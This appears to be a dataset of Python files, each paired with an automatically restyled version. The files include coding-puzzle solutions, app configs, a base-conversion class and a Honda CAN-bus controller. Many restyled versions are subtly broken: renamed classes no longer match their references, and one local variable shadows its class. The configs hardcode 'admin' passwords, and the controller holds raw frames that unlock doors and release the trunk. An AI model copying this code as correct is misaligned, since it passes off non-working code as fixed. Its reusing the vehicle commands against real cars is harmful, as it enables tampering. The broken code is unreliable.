content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
"""
Given a non-negative integer num, repeatedly add all its digits until the result
has only one digit.
For example:
Given num = 38, the process is like: 3 + 8 = 11, 1 + 1 = 2. Since 2 has only
one digit, return it.
Follow up:
Could you do it without any loop/recursion in O(1) runtime?
Hint:
A naive implementation of the above process is trivial. Could you
come up with other methods?
What are all the possible results?
How do they occur, periodically or randomly?
You may find this Wikipedia article useful.
Credits:
Special thanks to @jianchao.li.fighter for adding this problem
and creating all test cases.
"""
class Solution(object):
def addDigits(self, num):
"""
:type num: int
:rtype: int
"""
while num>9:
c=0
while num:
c+=num%10
num//=10
num=c
return num
| """
Given a non-negative integer num, repeatedly add all its digits until the result
has only one digit.
For example:
Given num = 38, the process is like: 3 + 8 = 11, 1 + 1 = 2. Since 2 has only
one digit, return it.
Follow up:
Could you do it without any loop/recursion in O(1) runtime?
Hint:
A naive implementation of the above process is trivial. Could you
come up with other methods?
What are all the possible results?
How do they occur, periodically or randomly?
You may find this Wikipedia article useful.
Credits:
Special thanks to @jianchao.li.fighter for adding this problem
and creating all test cases.
"""
class Solution(object):
def add_digits(self, num):
"""
:type num: int
:rtype: int
"""
while num > 9:
c = 0
while num:
c += num % 10
num //= 10
num = c
return num |
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def addTwoNumbers(self, l1, l2):
"""
:type l1: ListNode
:type l2: ListNode
:rtype: ListNode
"""
n = ListNode(l1.val + l2.val)
head = n
n1 = l1.next
n2 = l2.next
while n1 is not None or n2 is not None:
if n1 is None:
new_n = ListNode(n2.val)
elif n2 is None:
new_n = ListNode(n1.val)
else:
new_n = ListNode(n1.val + n2.val)
n.next = new_n
n = new_n
if n1 is not None:
n1 = n1.next
if n2 is not None:
n2 = n2.next
# Processing carry bits
n = head
while n is not None:
if n.val >= 10:
n.val -= 10
if n.next is not None:
n.next.val += 1
else:
n.next = ListNode(1)
break
n = n.next
return head
| class Solution:
def add_two_numbers(self, l1, l2):
"""
:type l1: ListNode
:type l2: ListNode
:rtype: ListNode
"""
n = list_node(l1.val + l2.val)
head = n
n1 = l1.next
n2 = l2.next
while n1 is not None or n2 is not None:
if n1 is None:
new_n = list_node(n2.val)
elif n2 is None:
new_n = list_node(n1.val)
else:
new_n = list_node(n1.val + n2.val)
n.next = new_n
n = new_n
if n1 is not None:
n1 = n1.next
if n2 is not None:
n2 = n2.next
n = head
while n is not None:
if n.val >= 10:
n.val -= 10
if n.next is not None:
n.next.val += 1
else:
n.next = list_node(1)
break
n = n.next
return head |
#x+x^2/2!+x^3/3!+x^4/4!......
x=int(input("Enter a number "))
n=int(input("Enter number of terms in the series "))
sum=0
fact=1
for y in range(1,n+1):
fact=fact*y
sum=sum+pow(x,y)/fact
print(sum) | x = int(input('Enter a number '))
n = int(input('Enter number of terms in the series '))
sum = 0
fact = 1
for y in range(1, n + 1):
fact = fact * y
sum = sum + pow(x, y) / fact
print(sum) |
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def minDiffInBST(self, root: TreeNode) -> int:
def inorder(node):
if node:
inorder(node.left)
vals.append(node.val)
inorder(node.right)
vals = []
inorder(root)
return min(b - a for a, b in zip(vals, vals[1:]))
| class Solution:
def min_diff_in_bst(self, root: TreeNode) -> int:
def inorder(node):
if node:
inorder(node.left)
vals.append(node.val)
inorder(node.right)
vals = []
inorder(root)
return min((b - a for (a, b) in zip(vals, vals[1:]))) |
# -*- coding: utf-8 -*-
'''
torstack.config.builder
config builder definition.
:copyright: (c) 2018 by longniao <longniao@gmail.com>
:license: MIT, see LICENSE for more details.
''' | """
torstack.config.builder
config builder definition.
:copyright: (c) 2018 by longniao <longniao@gmail.com>
:license: MIT, see LICENSE for more details.
""" |
class StaticPoliceBaseError(Exception):
pass
class StaticPoliceBaseNotice(Exception):
pass
#
# Generic errors
#
class FunctionNotFoundError(StaticPoliceBaseError):
pass
class StaticPoliceTypeError(StaticPoliceBaseError):
pass
class StaticPoliceKeyNotFoundError(StaticPoliceBaseError):
pass
#
# Policy notices
#
class PolicySkipFunctionNotice(StaticPoliceBaseNotice):
pass
| class Staticpolicebaseerror(Exception):
pass
class Staticpolicebasenotice(Exception):
pass
class Functionnotfounderror(StaticPoliceBaseError):
pass
class Staticpolicetypeerror(StaticPoliceBaseError):
pass
class Staticpolicekeynotfounderror(StaticPoliceBaseError):
pass
class Policyskipfunctionnotice(StaticPoliceBaseNotice):
pass |
class Config(object):
'''parent configuration file'''
DEBUG = True
SECRET_KEY = 'hardtoguess'
ENV = 'development'
TESTING = False
class DevelopmentConfig(Config):
DEBUG = True
url = "dbname = 'stackoverflow_db' user = 'postgres' host = 'localhost' port = '5432' password = 'admin'"
class TestingConfig(Config):
DEBUG = True
TESTING = True
url = "dbname = 'test_db' user = 'postgres' host = 'localhost' port = '5432' password = 'admin'"
class StaginConfig(Config):
DEBUG = True
class ProductionConfig(Config):
DEBUG = False
TESTING = False
app_config = {
'development': DevelopmentConfig,
'testing': TestingConfig,
'staging': StaginConfig,
'production': ProductionConfig
}
db_url = DevelopmentConfig.url
test_url = TestingConfig.url
secret_key = Config.SECRET_KEY | class Config(object):
"""parent configuration file"""
debug = True
secret_key = 'hardtoguess'
env = 'development'
testing = False
class Developmentconfig(Config):
debug = True
url = "dbname = 'stackoverflow_db' user = 'postgres' host = 'localhost' port = '5432' password = 'admin'"
class Testingconfig(Config):
debug = True
testing = True
url = "dbname = 'test_db' user = 'postgres' host = 'localhost' port = '5432' password = 'admin'"
class Staginconfig(Config):
debug = True
class Productionconfig(Config):
debug = False
testing = False
app_config = {'development': DevelopmentConfig, 'testing': TestingConfig, 'staging': StaginConfig, 'production': ProductionConfig}
db_url = DevelopmentConfig.url
test_url = TestingConfig.url
secret_key = Config.SECRET_KEY |
class NumberException(Exception):
pass
class Number:
# all hex numbers
_number_map = "0123456789ABCDEF"
def __init__(self, str_number="0", base=10):
self._number_list = ["0"]
self._number_base = 10
self._number_str = "0"
self.set_number(str_number, base)
def get_number(self) -> str:
""":returns The number in string format"""
return self._number_str
def get_base(self) -> int:
""":returns The base of the number"""
return self._number_base
def get_number_list(self) -> list:
""":returns The internal number list"""
return self._number_list[:]
def set_number(self, str_number, base):
"""
Set the number and base
:param str_number
:param base
"""
# set the number base
self._number_base = base
# the original string passed
self._number_str = str_number
# validate and trow exception on error
self._validate_number_base()
self._validate_number_str()
# the list of numbers reversed
self._number_list = self._number_str_to_number_list(self._number_str, self._number_base)
@staticmethod
def _number_str_to_number_list(number_str, number_base) -> list:
"""
Convert a str to proper list of numbers that are reversed
e.g: "F9" (base 16) will output [9, 15]
:returns list
"""
# reverse the number
temp_reversed = Number._reverse(number_str)
# convert to appropriate digits
return [int(i, number_base) for i in temp_reversed]
@staticmethod
def _number_list_to_number_str(number_list):
"""
Convert a list of number in any base to a string
"""
Number._normalize_result(number_list)
if not number_list: # handle when list is empty
return "0"
# reverse to the original state
temp_reversed = Number._reverse(number_list)
return "".join([Number._number_map[i] for i in temp_reversed])
def _validate_number_str(self):
"""
Check if _number_str is valid
Raises:
NumberException - on invalid number
"""
if not isinstance(self._number_str, str):
raise NumberException("Must be a string")
# use python builtin to convert char to number
try:
int(self._number_str, self._number_base)
except ValueError:
raise NumberException("Number %s is not of base %d" % (self._number_str, self._number_base))
def _validate_number_base(self):
""""
Check if _number_base is valid
"""
if not isinstance(self._number_base, int):
raise NumberException("Base is not an int")
if self._number_base < 2 or self._number_base > 16:
raise NumberException("Please choose a base between 2 and 16")
@staticmethod
def _validate_operation(base1, base2):
"""
Check if we can do on an operation on these numbers
:raises NumberException - on invalid number
"""
if base1 != base2:
raise NumberException("Can not do operation on 2 different bases. Please convert to a common base")
@staticmethod
def _reverse(object_abstract: list):
"""
Reverse an object that is iterable
:returns the list reversed
"""
return object_abstract[::-1]
@staticmethod
def _normalize_lists(list1, list2):
"""
Make the two lists the same length my appending zeroes to the end
"""
len_list1 = len(list1)
len_list2 = len(list2)
len_diff = abs(len_list2 - len_list1)
if len_diff:
if len_list1 < len_list2: # extend the first list
list1.extend([0] * len_diff)
else: # extend second list
list2.extend([0] * len_diff)
@staticmethod
def _normalize_result(result):
"""
Remove all non significant zeroes from result
eg: if result = [4, 3, 2, 1, 0, 0, 0] which
represents the number 0001234
after normalization
result = [4, 3, 2, 1] which
represents the number 1234
"""
i = len(result) - 1
while i >= 0 and result[i] == 0:
i -= 1
result.pop()
def __str__(self):
"""
Str context
"""
return self.get_number()
def __add__(self, other):
"""
Add to another number
"""
# print "add number list = ", self._number_list, other._number_list
base = self.get_base()
self._validate_operation(base, other.get_base())
number_a = self.get_number_list()
number_b = other.get_number_list()
# will hold the result
number_c = []
# print number_a, number_b
# normalize lists
self._normalize_lists(number_a, number_b)
len_number_a = len(number_a)
transport = 0 # transport number, must be integer
i = 0
while i < len_number_a:
temp = number_a[i] + number_b[i] + transport
# add to the result list
number_c.append(temp % base)
# the transport is quotient
transport = temp // base
i += 1
# overflow append transport
if transport:
number_c.append(transport)
return Number(self._number_list_to_number_str(number_c), base)
def __sub__(self, other):
"""
Subtract from another number of variable length
"""
# assume this one if bigger than other
base = self.get_base()
self._validate_operation(base, other.get_base())
number_a = self.get_number_list()
number_b = other.get_number_list()
# will hold the result
number_c = []
# normalize lists
self._normalize_lists(number_a, number_b)
len_number_a = len(number_a)
transport = 0 # transport number
i = 0
while i < len_number_a:
# check if we need to borrow
if number_a[i] + transport < number_b[i]:
temp = (number_a[i] + transport + base) - number_b[i]
# set transport for next iteration
transport = -1
else: # number_a[i] is bigger than number_b[i] NO need for borrow
temp = (number_a[i] + transport) - number_b[i]
transport = 0
# add to the result list
number_c.append(temp)
i += 1
return Number(self._number_list_to_number_str(number_c), base)
def __mul__(self, other):
"""
Multiply with another number of 1 digit aka a scalar
"""
base = self.get_base()
number_a = self.get_number_list()
if isinstance(other, Number):
# works only with one digit
self._validate_operation(base, other.get_base())
number_b = other._number_list[:]
number_b = number_b[0]
elif isinstance(other, int):
number_b = other
else:
raise NumberException("Wrong input")
# will hold the result
number_c = []
len_number_a = len(number_a)
transport = 0 # transport number, must be an integer
i = 0
while i < len_number_a:
temp = number_a[i] * number_b + transport
# add to the result list
number_c.append(temp % base)
# the transport is the quotient
transport = temp // base
i += 1
# if overflow append transport
while transport:
number_c.append(transport % base)
transport //= base
return Number(self._number_list_to_number_str(number_c), base)
def __divmod__(self, other) -> tuple:
"""
Divide and return quotient and remainder
"""
base = self.get_base()
number_a = self.get_number_list()
if isinstance(other, Number):
# works only with one digit
self._validate_operation(base, other.get_base())
number_b = other._number_list[:]
number_b = number_b[0]
elif isinstance(other, int):
number_b = other
else:
raise NumberException("Wrong input")
# will hold the result
number_c = []
len_number_a = len(number_a)
remainder = 0 # transport number
i = len_number_a - 1
while i >= 0:
temp = remainder * base + number_a[i]
number_c.append(temp // number_b)
remainder = temp % number_b
i -= 1
# reverse it because we inserted in reverse order
number_c = self._reverse(number_c)
return Number(self._number_list_to_number_str(number_c), base), remainder
def __floordiv__(self, other):
return divmod(self, other)[0]
def __mod__(self, other):
return divmod(self, other)[1]
def is_zero(self):
"""
Check if number is zero
:returns True or False
"""
if len(self._number_list) == 1 and self._number_list[0] == 0:
return True
for i in self._number_list:
if i != 0:
return False
return True
def convert_substitution(self, destination_base: int):
"""
Convert number to another base using substitution method
:param destination_base
:returns A new Number object
"""
if destination_base < 2 or destination_base > 16:
raise NumberException("Base inputted is invalid")
number = self.get_number_list()
source_base = self.get_base()
# because of our implementation we perform the calculation in the destination base
result = Number("0", destination_base)
power = Number("1", destination_base)
for digit in number:
# take every digit and multiply it by the corresponding power
result += power * digit
# increase the power for the next iteration
# e.g for base 2, the power will be: 1, 2, 4, 8, etc
power *= source_base
self.set_number(result.get_number(), destination_base)
return self
def convert_division(self, destination_base: int):
"""
Convert number to another base using division method
NOTE: only works with decimal numbers, and our internal number representation has decimal numbers,
so we can use the overwritten // and % operators.
:param destination_base
:returns A new Number object
"""
if destination_base < 2 or destination_base > 16:
raise NumberException("Base inputted is invalid")
number = Number(self.get_number(), self.get_base())
result = []
while not number.is_zero():
quotient, remainder = divmod(number, destination_base)
# The remainder is part of the result
result.append(remainder)
# Use next quotient for the division
number = quotient
self.set_number(self._number_list_to_number_str(result), destination_base)
return self
@staticmethod
def _validate_rapid_conversion(source_base, destination_base):
"""
Checks if source_base if a power of destination_base or destination_base is a power of source_base
:raises NumberException on invalid bases
"""
# checks if b is a power of a
def _check(base_a, base_b):
i = 1
while i < base_b:
i *= base_a
return i == base_b
if _check(source_base, destination_base) or _check(destination_base, source_base):
return # do nothing
raise NumberException("Can not use rapid conversion")
def convert_rapid(self, destination_base):
"""
Convert number to another base using rapid conversions
NOTE: For this method to work, one of the bases must be a power of another one
e.g: 2 and 16 (2^4 = 16), 3 and 9 (3^2 = 9)
:param destination_base string
:returns self
"""
if destination_base < 2 or destination_base > 16:
raise NumberException("Base inputted is invalid")
source_base = self.get_base()
self._validate_rapid_conversion(source_base, destination_base)
number = self.get_number_list()
result = []
def get_len_group(base_a, base_b):
# calculate the length of the group of replaced digits in base_b
# swap bases, base_a must be smaller than base_b
if base_a > base_b:
base_a, base_b = base_b, base_a
k = base_a
length = 1
while k < base_b:
k *= base_a
length += 1
return length
# the length of the group of digits
len_group = get_len_group(source_base, destination_base)
len_number = len(number)
# convert to smaller base
if source_base > destination_base:
for i in range(len_number):
# the number of digits to convert to
for j in range(len_group):
result.append(number[i] % destination_base)
number[i] //= destination_base
else: # convert to larger base
i = 0
# compute the number
while i < len_number:
power = 1
temp = 0
j = 0
while j < len_group and i < len_number:
temp += power * number[i]
power *= source_base
i += 1
j += 1
result.append(temp)
self.set_number(self._number_list_to_number_str(result), destination_base)
return self
| class Numberexception(Exception):
pass
class Number:
_number_map = '0123456789ABCDEF'
def __init__(self, str_number='0', base=10):
self._number_list = ['0']
self._number_base = 10
self._number_str = '0'
self.set_number(str_number, base)
def get_number(self) -> str:
""":returns The number in string format"""
return self._number_str
def get_base(self) -> int:
""":returns The base of the number"""
return self._number_base
def get_number_list(self) -> list:
""":returns The internal number list"""
return self._number_list[:]
def set_number(self, str_number, base):
"""
Set the number and base
:param str_number
:param base
"""
self._number_base = base
self._number_str = str_number
self._validate_number_base()
self._validate_number_str()
self._number_list = self._number_str_to_number_list(self._number_str, self._number_base)
@staticmethod
def _number_str_to_number_list(number_str, number_base) -> list:
"""
Convert a str to proper list of numbers that are reversed
e.g: "F9" (base 16) will output [9, 15]
:returns list
"""
temp_reversed = Number._reverse(number_str)
return [int(i, number_base) for i in temp_reversed]
@staticmethod
def _number_list_to_number_str(number_list):
"""
Convert a list of number in any base to a string
"""
Number._normalize_result(number_list)
if not number_list:
return '0'
temp_reversed = Number._reverse(number_list)
return ''.join([Number._number_map[i] for i in temp_reversed])
def _validate_number_str(self):
"""
Check if _number_str is valid
Raises:
NumberException - on invalid number
"""
if not isinstance(self._number_str, str):
raise number_exception('Must be a string')
try:
int(self._number_str, self._number_base)
except ValueError:
raise number_exception('Number %s is not of base %d' % (self._number_str, self._number_base))
def _validate_number_base(self):
""""
Check if _number_base is valid
"""
if not isinstance(self._number_base, int):
raise number_exception('Base is not an int')
if self._number_base < 2 or self._number_base > 16:
raise number_exception('Please choose a base between 2 and 16')
@staticmethod
def _validate_operation(base1, base2):
"""
Check if we can do on an operation on these numbers
:raises NumberException - on invalid number
"""
if base1 != base2:
raise number_exception('Can not do operation on 2 different bases. Please convert to a common base')
@staticmethod
def _reverse(object_abstract: list):
"""
Reverse an object that is iterable
:returns the list reversed
"""
return object_abstract[::-1]
@staticmethod
def _normalize_lists(list1, list2):
"""
Make the two lists the same length my appending zeroes to the end
"""
len_list1 = len(list1)
len_list2 = len(list2)
len_diff = abs(len_list2 - len_list1)
if len_diff:
if len_list1 < len_list2:
list1.extend([0] * len_diff)
else:
list2.extend([0] * len_diff)
@staticmethod
def _normalize_result(result):
"""
Remove all non significant zeroes from result
eg: if result = [4, 3, 2, 1, 0, 0, 0] which
represents the number 0001234
after normalization
result = [4, 3, 2, 1] which
represents the number 1234
"""
i = len(result) - 1
while i >= 0 and result[i] == 0:
i -= 1
result.pop()
def __str__(self):
"""
Str context
"""
return self.get_number()
def __add__(self, other):
"""
Add to another number
"""
base = self.get_base()
self._validate_operation(base, other.get_base())
number_a = self.get_number_list()
number_b = other.get_number_list()
number_c = []
self._normalize_lists(number_a, number_b)
len_number_a = len(number_a)
transport = 0
i = 0
while i < len_number_a:
temp = number_a[i] + number_b[i] + transport
number_c.append(temp % base)
transport = temp // base
i += 1
if transport:
number_c.append(transport)
return number(self._number_list_to_number_str(number_c), base)
def __sub__(self, other):
"""
Subtract from another number of variable length
"""
base = self.get_base()
self._validate_operation(base, other.get_base())
number_a = self.get_number_list()
number_b = other.get_number_list()
number_c = []
self._normalize_lists(number_a, number_b)
len_number_a = len(number_a)
transport = 0
i = 0
while i < len_number_a:
if number_a[i] + transport < number_b[i]:
temp = number_a[i] + transport + base - number_b[i]
transport = -1
else:
temp = number_a[i] + transport - number_b[i]
transport = 0
number_c.append(temp)
i += 1
return number(self._number_list_to_number_str(number_c), base)
def __mul__(self, other):
"""
Multiply with another number of 1 digit aka a scalar
"""
base = self.get_base()
number_a = self.get_number_list()
if isinstance(other, Number):
self._validate_operation(base, other.get_base())
number_b = other._number_list[:]
number_b = number_b[0]
elif isinstance(other, int):
number_b = other
else:
raise number_exception('Wrong input')
number_c = []
len_number_a = len(number_a)
transport = 0
i = 0
while i < len_number_a:
temp = number_a[i] * number_b + transport
number_c.append(temp % base)
transport = temp // base
i += 1
while transport:
number_c.append(transport % base)
transport //= base
return number(self._number_list_to_number_str(number_c), base)
def __divmod__(self, other) -> tuple:
"""
Divide and return quotient and remainder
"""
base = self.get_base()
number_a = self.get_number_list()
if isinstance(other, Number):
self._validate_operation(base, other.get_base())
number_b = other._number_list[:]
number_b = number_b[0]
elif isinstance(other, int):
number_b = other
else:
raise number_exception('Wrong input')
number_c = []
len_number_a = len(number_a)
remainder = 0
i = len_number_a - 1
while i >= 0:
temp = remainder * base + number_a[i]
number_c.append(temp // number_b)
remainder = temp % number_b
i -= 1
number_c = self._reverse(number_c)
return (number(self._number_list_to_number_str(number_c), base), remainder)
def __floordiv__(self, other):
return divmod(self, other)[0]
def __mod__(self, other):
return divmod(self, other)[1]
def is_zero(self):
"""
Check if number is zero
:returns True or False
"""
if len(self._number_list) == 1 and self._number_list[0] == 0:
return True
for i in self._number_list:
if i != 0:
return False
return True
def convert_substitution(self, destination_base: int):
"""
Convert number to another base using substitution method
:param destination_base
:returns A new Number object
"""
if destination_base < 2 or destination_base > 16:
raise number_exception('Base inputted is invalid')
number = self.get_number_list()
source_base = self.get_base()
result = number('0', destination_base)
power = number('1', destination_base)
for digit in number:
result += power * digit
power *= source_base
self.set_number(result.get_number(), destination_base)
return self
def convert_division(self, destination_base: int):
"""
Convert number to another base using division method
NOTE: only works with decimal numbers, and our internal number representation has decimal numbers,
so we can use the overwritten // and % operators.
:param destination_base
:returns A new Number object
"""
if destination_base < 2 or destination_base > 16:
raise number_exception('Base inputted is invalid')
number = number(self.get_number(), self.get_base())
result = []
while not number.is_zero():
(quotient, remainder) = divmod(number, destination_base)
result.append(remainder)
number = quotient
self.set_number(self._number_list_to_number_str(result), destination_base)
return self
@staticmethod
def _validate_rapid_conversion(source_base, destination_base):
"""
Checks if source_base if a power of destination_base or destination_base is a power of source_base
:raises NumberException on invalid bases
"""
def _check(base_a, base_b):
i = 1
while i < base_b:
i *= base_a
return i == base_b
if _check(source_base, destination_base) or _check(destination_base, source_base):
return
raise number_exception('Can not use rapid conversion')
def convert_rapid(self, destination_base):
"""
Convert number to another base using rapid conversions
NOTE: For this method to work, one of the bases must be a power of another one
e.g: 2 and 16 (2^4 = 16), 3 and 9 (3^2 = 9)
:param destination_base string
:returns self
"""
if destination_base < 2 or destination_base > 16:
raise number_exception('Base inputted is invalid')
source_base = self.get_base()
self._validate_rapid_conversion(source_base, destination_base)
number = self.get_number_list()
result = []
def get_len_group(base_a, base_b):
if base_a > base_b:
(base_a, base_b) = (base_b, base_a)
k = base_a
length = 1
while k < base_b:
k *= base_a
length += 1
return length
len_group = get_len_group(source_base, destination_base)
len_number = len(number)
if source_base > destination_base:
for i in range(len_number):
for j in range(len_group):
result.append(number[i] % destination_base)
number[i] //= destination_base
else:
i = 0
while i < len_number:
power = 1
temp = 0
j = 0
while j < len_group and i < len_number:
temp += power * number[i]
power *= source_base
i += 1
j += 1
result.append(temp)
self.set_number(self._number_list_to_number_str(result), destination_base)
return self |
{
'targets': [
{
'target_name': 'sophia',
'product_prefix': 'lib',
'type': 'static_library',
'include_dirs': ['db'],
'link_settings': {
'libraries': ['-lpthread'],
},
'direct_dependent_settings': {
'include_dirs': ['db'],
},
'sources': [
'db/cat.c',
'db/crc.c',
'db/cursor.c',
'db/e.c',
'db/file.c',
'db/gc.c',
'db/i.c',
'db/merge.c',
'db/recover.c',
'db/rep.c',
'db/sp.c',
'db/util.c',
],
},
],
}
| {'targets': [{'target_name': 'sophia', 'product_prefix': 'lib', 'type': 'static_library', 'include_dirs': ['db'], 'link_settings': {'libraries': ['-lpthread']}, 'direct_dependent_settings': {'include_dirs': ['db']}, 'sources': ['db/cat.c', 'db/crc.c', 'db/cursor.c', 'db/e.c', 'db/file.c', 'db/gc.c', 'db/i.c', 'db/merge.c', 'db/recover.c', 'db/rep.c', 'db/sp.c', 'db/util.c']}]} |
'''
Leetcode problem No 416 Parition Equal Subset Sum
Solution written by Xuqiang Fang on 4 April
'''
class Solution(object):
def canPartition(self, nums):
s = 0;
for i in nums:
s += i
if((s & 1) == 1):
return False
s >>= 1
dp = [0]*(s+1)
dp[0] = 1
for i in range(len(nums)):
for j in range(s,nums[i]-1,-1):
dp[j] += dp[j-nums[i]]
if(dp[s] == 0):
return False
else:
return True
def main():
nums = [1,5,11,5]
s = Solution()
print(s.canPartition(nums))
print(s.canPartition([1,2,3,5]))
main()
| """
Leetcode problem No 416 Parition Equal Subset Sum
Solution written by Xuqiang Fang on 4 April
"""
class Solution(object):
def can_partition(self, nums):
s = 0
for i in nums:
s += i
if s & 1 == 1:
return False
s >>= 1
dp = [0] * (s + 1)
dp[0] = 1
for i in range(len(nums)):
for j in range(s, nums[i] - 1, -1):
dp[j] += dp[j - nums[i]]
if dp[s] == 0:
return False
else:
return True
def main():
nums = [1, 5, 11, 5]
s = solution()
print(s.canPartition(nums))
print(s.canPartition([1, 2, 3, 5]))
main() |
# -*- python -*-
# Copied from the drake project
# https://github.com/RobotLocomotion/drake/blob/17423f8fb6f292b4af0b4cf3c6c0f157273af501/tools/workspace/generate_include_header.bzl
load(":pathutils.bzl", "output_path")
# Generate a header that includes a set of other headers
def _generate_include_header_impl(ctx):
# Collect list of headers
hdrs = []
for h in ctx.attr.hdrs:
for f in h.files.to_list():
hdrs.append(output_path(ctx, f, ctx.attr.strip_prefix))
# Generate include header
content = "#pragma once\n"
content = content + "\n".join(["#include \"%s\"" % h for h in hdrs])
ctx.actions.write(output = ctx.outputs.out, content = content)
generate_include_header = rule(
attrs = {
"hdrs": attr.label_list(allow_files = True),
"strip_prefix": attr.string_list(default = ["**/include/"]),
"out": attr.output(mandatory = True),
},
output_to_genfiles = True,
implementation = _generate_include_header_impl,
)
"""Generate a header that includes a set of other headers.
This creates a rule to generate a header that includes a list of other headers.
The generated file will be of the form::
#include "hdr"
#include "hdr"
Args:
hdrs (:obj:`str`): List of files or file labels of headers that the
generated header will include.
strip_prefix (:obj:`list` of :obj:`str`): List of prefixes to strip from
the header names when forming the ``#include`` directives.
"""
| load(':pathutils.bzl', 'output_path')
def _generate_include_header_impl(ctx):
hdrs = []
for h in ctx.attr.hdrs:
for f in h.files.to_list():
hdrs.append(output_path(ctx, f, ctx.attr.strip_prefix))
content = '#pragma once\n'
content = content + '\n'.join(['#include "%s"' % h for h in hdrs])
ctx.actions.write(output=ctx.outputs.out, content=content)
generate_include_header = rule(attrs={'hdrs': attr.label_list(allow_files=True), 'strip_prefix': attr.string_list(default=['**/include/']), 'out': attr.output(mandatory=True)}, output_to_genfiles=True, implementation=_generate_include_header_impl)
'Generate a header that includes a set of other headers.\n\nThis creates a rule to generate a header that includes a list of other headers.\nThe generated file will be of the form::\n #include "hdr"\n #include "hdr"\nArgs:\n hdrs (:obj:`str`): List of files or file labels of headers that the\n generated header will include.\n strip_prefix (:obj:`list` of :obj:`str`): List of prefixes to strip from \n the header names when forming the ``#include`` directives.\n' |
print('b')
for i in range(2): print(i)
| print('b')
for i in range(2):
print(i) |
cat_colors=[(212,212,212),(100,100,100),(90,70,100),(70,3,89),(60,30,100),(58,83,139),(50,181,122),(175,220,46),(253,181,36),(255,62,76)]
for i, col in enumerate(cat_colors):
print("""#extinction_category label:nth-child(%i){
background-color: #%s
}"""%(i+1,"".join(("{:02x}".format(c) for c in col)))) | cat_colors = [(212, 212, 212), (100, 100, 100), (90, 70, 100), (70, 3, 89), (60, 30, 100), (58, 83, 139), (50, 181, 122), (175, 220, 46), (253, 181, 36), (255, 62, 76)]
for (i, col) in enumerate(cat_colors):
print('#extinction_category label:nth-child(%i){\nbackground-color: #%s\n}' % (i + 1, ''.join(('{:02x}'.format(c) for c in col)))) |
string = 'hehhhEhehehehehHHHHeeeeHHHehHHHeh'
# string = string.replace('h', 'H', string.count('h') - 1).replace('H', 'h',1)
# print(string)
string1 = string[:string.find('h') + 1]
string2 = string[string.rfind('h'):]
string3 = string[string.find('h') + 1:string.rfind('h')]
string3 = string3.replace('h', 'H')
print(string1)
print(string2)
print(string3)
print(string1 + string3 + string2) | string = 'hehhhEhehehehehHHHHeeeeHHHehHHHeh'
string1 = string[:string.find('h') + 1]
string2 = string[string.rfind('h'):]
string3 = string[string.find('h') + 1:string.rfind('h')]
string3 = string3.replace('h', 'H')
print(string1)
print(string2)
print(string3)
print(string1 + string3 + string2) |
# Time: O(n)
# Space: O(n)
class Solution(object):
def distributeCandies(self, candies):
"""
:type candies: List[int]
:rtype: int
"""
lookup = set(candies)
return min(len(lookup), len(candies)/2)
| class Solution(object):
def distribute_candies(self, candies):
"""
:type candies: List[int]
:rtype: int
"""
lookup = set(candies)
return min(len(lookup), len(candies) / 2) |
while True:
cont=int(input(" "))
if(cont==2002):
print("Acceso Permitido")
break
else:
print("Acceso Denegado")
| while True:
cont = int(input(' '))
if cont == 2002:
print('Acceso Permitido')
break
else:
print('Acceso Denegado') |
class HondaInputOutputController:
def __init__(self, send_func):
self.send = send_func
def left_turn_signal(self, on):
if on:
msg = b"\x30\x0a\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def right_turn_signal(self, on):
if on:
msg = b"\x30\x0b\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def hazard_lights(self, on):
if on:
msg = b"\x30\x08\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def parking_lights(self, on):
if on:
msg = b"\x30\x25\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def headlight_low_beams(self, on):
if on:
msg = b"\x30\x1c\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def headlight_high_beams(self, on):
if on:
msg = b"\x30\x1d\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def front_fog_lights(self, on):
if on:
msg = b"\x30\x20\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def daytime_running_lights(self, on):
if on:
msg = b"\x30\x36\x0f\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def lock_all_doors(self):
self.send(0x16f118f0, b"\x30\x04\x01\x00\x00\x00\x00\x00")
def unlock_all_doors(self):
self.send(0x16f118f0, b"\x30\x05\x01\x00\x00\x00\x00\x00")
def unlock_all_doors_alt(self):
self.send(0x16f118f0, b"\x30\x06\x01\x00\x00\x00\x00\x00")
def trunk_release(self):
self.send(0x16f118f0, b"\x30\x09\x01\x00\x00\x00\x00\x00")
def front_wipers_slow(self, on):
if on:
msg = b"\x30\x19\x05\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def front_wipers_fast(self, on):
if on:
msg = b"\x30\x1a\x05\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def front_washer_pump(self, on):
if on:
msg = b"\x30\x1b\x05\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def rear_wiper(self, on):
if on:
msg = b"\x30\x0d\x05\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def rear_washer_pump(self, on):
if on:
msg = b"\x30\x0e\x05\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f118f0, msg)
def left_blindspot_flash(self, on):
if on:
msg = b"\x30\x01\x08\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f19ff0, msg)
def right_blindspot_flash(self, on):
if on:
msg = b"\x30\x01\x08\x00\x00\x00\x00\x00"
else:
msg = b"\x20"
self.send(0x16f1a7f0, msg)
| class Hondainputoutputcontroller:
def __init__(self, send_func):
self.send = send_func
def left_turn_signal(self, on):
if on:
msg = b'0\n\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def right_turn_signal(self, on):
if on:
